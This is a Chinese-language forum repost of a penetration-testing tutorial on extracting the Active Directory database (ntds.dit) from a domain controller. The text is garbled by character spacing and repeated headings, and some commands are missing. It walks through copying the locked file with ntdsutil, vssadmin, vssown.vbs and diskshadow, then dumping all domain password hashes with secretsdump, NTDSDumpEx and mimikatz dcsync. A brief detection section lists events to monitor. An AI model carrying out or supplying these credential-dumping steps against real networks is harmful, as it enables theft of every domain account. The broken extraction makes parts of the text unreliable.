搜索

[22254] 2021-08-14_内网渗透基石篇之域控制器

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-08-14_内网渗透基石篇之域控制器 内 网 渗 透 基 石 篇 之 域 控 制 器 L e m o n S e c   2 0 2 1 - 0 8 - 1 4 前 言 前 言 在 通 常 情 况 下 ， 即 使 拥 有 管 理 员 权 限 ， 也 无 法 读 取 域 控 制 器 中 的 文 件 ， 但 是 我 们 又 非 常 想 获 得 这 个 文 件 的 内 容 ， 这 个 时 候 就 需 要 使 用 w i n d o w s 本 地 卷 影 拷 贝 服 务 V S S 。 在 活 动 目 录 中 ， 所 有 的 数 据 都 保 存 在 n t d s . d i t 文 件 中 ， n t d s . d i t 是 一 个 二 进 制 文 件 ， 包 含 用 户 名 、 散 列 值 、 组 、 G P P 、 O U 等 与 活 动 目 录 相 关 的 信 息 ， 它 和 S A M 文 件 一 样 ， 被 w i n d o w s 系 统 锁 死 。 卷 影 拷 贝 服 务 V S S ， 本 质 上 属 于 快 照 技 术 的 一 种 ， 主 要 用 于 备 份 和 恢 复 ， 即 使 文 件 当 前 处 于 锁 死 状 态 。 一 、 一 、   使 用 卷 影 拷 贝 服 务 提 取 使 用 卷 影 拷 贝 服 务 提 取 n t d s . d i t 当 我 们 拿 下 域 控 服 务 器 时 候 ， 如 果 想 要 拿 到 所 有 用 户 的 h a s h ， 那 么 就 涉 及 到 n t d s . d i t   在 通 常 情 况 下 ， 即 使 拥 有 管 理 员 权 限 ， 也 无 法 读 取 域 控 制 器 中 的 C : W i n d o w s N T D S n t d s . d i t 文 件 （ 活 动 目 录 始 终 访 问 这 个 文 件 ， 所 以 文 件 被 禁 止 读 取 ） 。 使 用 W i n d o w s 本 地 卷 影 拷 贝 服 务 ， 就 可 以 获 得 文 件 的 副 本   在 活 动 目 录 中 ， 所 有 的 数 据 都 保 存 在 n t d s . d i t 文 件 中 。 n t d i s . d i t 是 一 个 二 进 制 文 件 ， 存 储 位 置 为 与 控 制 的 % S y s t e m R o o t % n t d s n t d s . d i 。 n t d s . d i t 中 包 含 （ 但 不 限 于 ） 用 户 名 、 散 列 值 、 组 、 G P P 、 O U 等 与 活 动 目 录 相 关 的 信 息 ， 它 和 S A M 文 件 一 样 ， 是 被 w i n d o w s 操 作 系 统 锁 定 的 。 1 . 1   通 过 通 过 n t d s u t i l . e x e   提 权 提 权   n t d s . d i t n t d s u t i l . e x e 是 一 个 为 活 动 目 录 提 供 管 理 机 制 的 命 令 行 工 具 。 使 用 n t d s u t i l . e x e ， 可 以 维 护 和 管 理 活 动 目 录 数 据 库 、 控 制 单 个 主 机 操 作 、 创 建 应 用 程 序 目 录 分 区 、 删 除 由 未 使 用 活 动 目 录 安 装 向 导 （ D C P r o m o . e x e ） 成 功 降 级 的 控 制 器 留 下 的 元 数 据 等 。 该 工 具 默 认 安 装 在 域 控 制 器 上 ， 可 以 在 域 控 制 器 上 直 接 操 作 ， 也 可 以 通 过 域 内 机 器 在 与 控 制 上 远 程 操 作 。 n t d s u t i l . e x e 支 持 的 操 作 系 统 有 w i n 2 0 0 3 , 2 0 0 8 , 2 0 1 2   在 与 控 制 的 命 令 行 环 境 中 输 入 以 下 命 令 ， 创 建 一 个 快 照 。 该 快 照 包 含 W i n d o w s 中 所 有 的 文 件 ， 且 在 复 制 文 件 时 候 不 会 受 到 w i n d o w s 锁 定 机 制 的 限 制 . 1 . 创 建 快 照 n d t s . d i t n t d s u t i l . e x e   s n a p s h o t   " a c t i v a t e   i n s t a n c e   n t d s "   c r e a t e   q   q
2 . 加 载 创 建 的 快 照 n t d s u t i l   s n a p s h o t   “ m o u n t   { 6 6 5 f 1 2 d 7 - 3 7 f 5 - 4 5 e 3 - 8 a b a - 1 d 1 9 4 4 1 7 3 e c 9 } ”   q u i t   q u i t
3 . 复 制 出 快 照 中 的 n t d s . d i t 文 件 4 . 最 后 卸 载 并 删 除 快 照 c o p y   C : $ S N A P _ 2 0 2 0 0 7 2 6 1 5 4 4 _ V O L U M E C $ w i n d o w s n t d s n t d s . d i t   c : w i n d o w s t e m p n t d s . d i t n t d s u t i l   s n a p s h o t   “ u n m o u n t   { 3 3 a 3 3 4 4 e - 4 c 5 e - 4 f c 0 - 8 2 1 e - f d c 7 a 7 a a c 3 6 d } ”   “ d e l e t e   { 3 3 a 3 3 4 4 e - 4 c 5 e - 4 f c 0 - 8 2 1 e - f d c 7 a 7 a a c 3 6 d } ”   q u i t   q u i t
1 . 2   利 用 利 用 v s s a d m i n   提 权 提 权   n t d s . d i t v s s a d m i n 是 w i n 2 0 0 8 以 及 w i n 7 提 供 的 v s s 管 理 工 具 , 可 以 用 于 创 建 和 删 除 卷 影 拷 贝 ， 拷 贝 ， 列 出 卷 影 拷 贝 的 信 息 、 显 示 已 安 装 的 所 有 卷 影 拷 贝 写 入 程 序 （ w r i t e r s ) 和 提 供 程 序 （ p r o v i d e r s ) , 以 及 改 变 卷 影 拷 贝 的 存 储 空 间 的 大 小 等 . 1 . 创 建 一 个 C 盘 的 卷 影 拷 贝 2 . 复 制 卷 影 拷 贝 中 的 N t d s . d i t 文 件 到 C : 盘 下 1 . 3   利 用 利 用 v s s o w n . v b s 脚 本 提 取 脚 本 提 取 n t d s . d i t v s s o w n . v b s 脚 本 的 功 能 和 v s s a d m i n 类 型 ， 可 以 用 于 创 建 和 删 除 卷 影 拷 贝 ， 以 及 启 动 和 停 止 卷 影 拷 贝 服 务   / / 启 动 卷 影 拷 贝 服 务   c s c r i p t   v s s o w n . v b s   / s t a r t   / / 创 建 一 个 C 盘 的 卷 影 拷 贝   c s c r i p t   v s s o w n . v b s   / c r e a t e   c   / / 列 出 当 前 卷 影 拷 贝   c s c r i p t v s s o w n . v b s   / l i s t   / / 删 除 卷 影 拷 贝   c s c r i p t   v s s o w n . v b s   / d e l e t e 下 载 地 址 ： 1 . 启 动 卷 影 拷 贝 服 务 h t t p s : / / g i t h u b . c o m / b o r i g u e / p t s c r i p t s / t r e e / m a s t e r / w i n d o w s
2 . 列 出 当 前 目 录 下 的 卷 影 拷 贝 ， 并 复 制 出 其 中 的 n t d s . d i t 文 件 1 . 4   使 用 使 用 n t d s u t i l   的 的   I F M   创 建 卷 影 拷 贝 创 建 卷 影 拷 贝 在 使 用 n t d s u t i l 创 建 I F M 时 候 ， 需 要 进 行 生 成 快 照 、 加 载 、 将 n t d s . d i t 和 计 算 机 的 S A M 文 件 复 制 到 目 标 文 件 夹 中 操 作   只 需 要 一 条 命 令 即 可 1 . 通 过 I F M 复 制 到 c : t e s t 文 件 夹 下
2 . 然 后 复 制 1 . 5   使 用 使 用 d i s k s h a d o w 导 出 导 出 n t d s , d i t 微 软 官 方 文 档 中 说 明 “ d i s k s h a d o w . e x e   这 款 工 具 可 以 使 用 卷 影 拷 贝 服 务 ( v s s ) 所 提 供 的 多 个 功 能 。 因 为 d i s k s h a d o w 的 代 码 是 微 软 签 名 的 ， 而 且 w i n 2 0 0 8 、 2 0 1 2 、 2 0 1 6 都 默 认 包 含 d i s k s h a d o w ， 所 以 它 也 能 够 用 来 操 作 卷 影 拷 贝 服 务 并 导 出 n t d s . d i t 。 d i s k s h a d o w 的 功 能 与 v s h a d o w 类 型 ， 且 同 样 位 于 c : w i n d o w s s y s t e m 3 2 目 录 下 。 d i s k s h a d o w 有 交 互 和 非 交 互 两 种 模 式 。 在 使 用 交 互 模 式 时 候 ， 需 要 登 陆 远 程 桌 面 的 图 形 化 管 理 界 面 。 不 管 是 交 互 模 式 还 是 非 交 互 模 式 ， 都 可 以 使 用 e x e c 调 取 一 个 脚 本 文 件 来 执 行 相 关 命 令   在 渗 透 测 试 中 ， 可 以 使 用 d i s k s h a d o w . e x e 来 执 行 命 令   首 先 需 要 将 执 行 的 命 令 写 入 t x t 文 件 中   比 如   e x e c   c : w i n d o w s s y s t e m 3 2 c a l c . e x e 1 . 首 先 写 入 1 . t x t 2 . 使 用 d i s k s h a d o w . e x e 加 载 该 t x t 文 件 。
3 . 然 后 执 行 。 1 . 6   监 控 卷 影 拷 贝 服 务 的 使 用 情 况 监 控 卷 影 拷 贝 服 务 的 使 用 情 况 监 控 卷 应 拷 贝 服 务 以 及 任 何 涉 及 活 动 目 录 数 据 库 文 件 （ n t d s . d i t ) 的 可 疑 操 作 行 为   监 控 S y s t e m   E v e n t   I D   7 0 3 6 ( 卷 影 拷 贝 服 务 进 入 运 行 状 态 的 标 志 ） 的 可 疑 实 例 ， 以 及 创 建 v s s v c . e x e 进 程 的 事 件   监 控 创 建 d i s k s h a d o w . e x e 以 及 相 关 子 进 程 的 事 件   监 控 客 户 端 设 备 中 的 d i s k s h a d o w . e x e 实 例 创 建 事 件 。 通 过 日 志 监 控 新 出 现 的 逻 辑 驱 动 器 映 射 事 件 二 、 二 、   导 出 导 出 n t d s . d i t   中 的 散 列 值 中 的 散 列 值
l i n u x 平 台 下   使 用 i m p a c k 工 具 包 导 出 散 列 值   使 用 i m p a c k e t 工 具 包 中 的 s e c r e t s d u m p 可 以 解 析 n t d s . d i t 文 件 ， 导 出 散 列 值   前 提 需 要 ： 域 控 服 务 器 的 n t d s . d i t 文 件 ， S Y S T E M 文 件 （ C : W i n d o w s S y s t e m 3 2 c o n f i g ）   所 以 可 以 直 接 使 用 上 面 说 到 的 n t d s u t i l 的 I F M 创 建 卷 影 拷 贝 ， 既 能 够 得 到 n t d s . d i t 也 能 得 到 S Y S T E M 文 件   p y t h o n   s e c r e t s d u m p . p y   - s y s t e m / n e i w a n g / n t d s . d i t / S Y S T E M   - n t d s   / n e i w a n g / n t d s . d i t / n t d s . d i t   L O C A L 2 . 1   使 用 使 用 e s e d b e x p o r t 恢 复 恢 复 n t d s . d i t 然 j 后 使 用 e s e d b e x p o r t 进 行 恢 复 操 作 导 出 散 列 值 2 . 2   使 用 使 用 i m p a c k e t   工 具 包 导 出 散 列 值 工 具 包 导 出 散 列 值 使 用 i m p a c k e t 工 具 包 导 出 散 列 值 （ L i n u x ） 使 用 N T D S   D u m p e x   导 出 散 列 值 （ W i n d o w s ） 但 是 在 开 始 之 前 ， 我 们 需 要 做 一 些 准 备 工 作 ， 一 个 是 活 动 目 录 文 件 ， 另 一 个 是 文 件 ，   可 以 通 过 H i v e J a c k 这 个 小 工 具 轻 松 获 得 ， g i t h u b 上 可 以 下 载 。 1 . 安 装 i m p a c k e t . / c o n f i g u r e m a k e s u d o     m a k e   i n s t a l l   s u d o   l d c o n f i g e s e d b e x p o r t   - m   t a b l e s   n t d s . d i t n t d s . d i t s y s t e m . s a v e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / C o r e S e c u r i t y / i m p a c k e t . g i t c d   i m p a c k e t / p y t h o n   s e t u p . p y   i n s t a l l
2 . 导 出 散 列 值 2 . 3   在 在 w i n d o w s   下 解 析 并 导 出 域 账 号 和 域 散 列 值 下 解 析 并 导 出 域 账 号 和 域 散 列 值 使 用 N T D S D u m p e x . e x e 可 以 进 行 导 出 散 列 值 的 操 作 。 将 n t d s . d i t 、 N T D S D u m p e x . e x e 、 s y s t e m . h i v e   放 在 同 一 目 录 下 ， 输 入 如 下 命 令 即 可 导 出 域 账 号 和 散 列 值 。 N T D S D u m p E x . e x e 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / z c g o n v h / N T D S D u m p E x 获 取 k e y ： r e g   s a v e   H K L M S Y S T E M   c : w i n d o w s t e m p S y s . h i v 使 用 N T D S D u m p E x 获 取 所 有 域 用 户 的 H a s h N T D S D u m p E x . e x e   - d   n t d s . d i t   - s   s y s t e m . h i v e   - o   h a s h . t x t
三 、 三 、   利 用 利 用 d c s y n c 获 取 域 散 列 值 获 取 域 散 列 值 利 用 d c s y n c 获 取 域 散 列 值   使 用 m i m i k a t z 转 储 域 散 列 值   m i m i k a t z 有 一 个 d c s y n c 功 能 ， 可 以 利 用 卷 影 拷 贝 服 务 直 接 读 取 n t d s . d i t 文 件 并 检 索 域 散 列 值 。 需 要 注 意 的 是 ， 必 须 使 用 域 管 理 员 权 限 运 行 m i m i k a t z 才 可 以 读 取 n t d s . d i t   实 现 原 理 ： 利 用 D R S ( D i r e c t o r y   R e p l i c a t i o n S e r v i c e ) 协 议 通 过 I D L _ D R S G e t N C C h a n g e s 从 域 控 制 器 复 制 用 户 凭 据   微 软 官 方 解 释 ： 指 定 目 录 复 制 服 务 （ D R S ） 远 程 协 议 ， 一 种 用 于 复 制 和 管 理 A c t i v e   D i r e c t o r y 中 数 据 的 R P C 协 议 。 利 用 条 件 ： 获 得 以 下 任 一 用 户 的 权 限 ： A d m i n i s t r a t o r s 组 内 的 用 户   D o m a i n   A d m i n s 组 内 的 用 户   E n t e r p r i s e   A d m i n s 组 内 的 用 户   域 控 制 器 的 计 算 机 帐 户 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / o p e n s p e c s / w i n d o w s _ p r o t o c o l s / m s - d r s r / f 9 7 7 f a a a - 6 7 3 e - 4 f 6 6 - b 9 b f - 4 8 c 6 4 0 2 4 1 d 4 7 在 域 内 的 任 意 一 台 计 算 机 中 ， 以 域 管 理 员 权 限 打 开 命 令 行 环 境 ， 运 行 m i m i k a t z ， 使 用 m i m i k a t z 导 出 域 内 的 所 有 用 户 名 以 及 散 列 值   l s a d u m p : : d c s y n c   / d o m a i n : g o d . o r g   / a l l   / c s v 3 . 1   使 用 使 用 m i m i k a t z 转 储 域 散 列 值 转 储 域 散 列 值 d c s y n c   获 取 域 内 用 户 哈 希 值 获 取 域 内 用 户 哈 希 值 m i m i k a t z   转 储 哈 希 值 转 储 哈 希 值 m i m i k a t z   有 一 个   d c s y n c   功 能 ， 可 以 利 用 卷 影 拷 贝 服 务 直 接 读 取   n t d s . d i t   文 件 并 检 索 域 散 列 值 。 前 提 必 须 使 用 管 理 员 权 限 运 行   m i m i k a t z   才 可 以 读 取   n t d s . d i t 。 在 域 内 任 意 一 台 主 机 ， 以 域 管 理 员 权 限 执 行 命 令 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理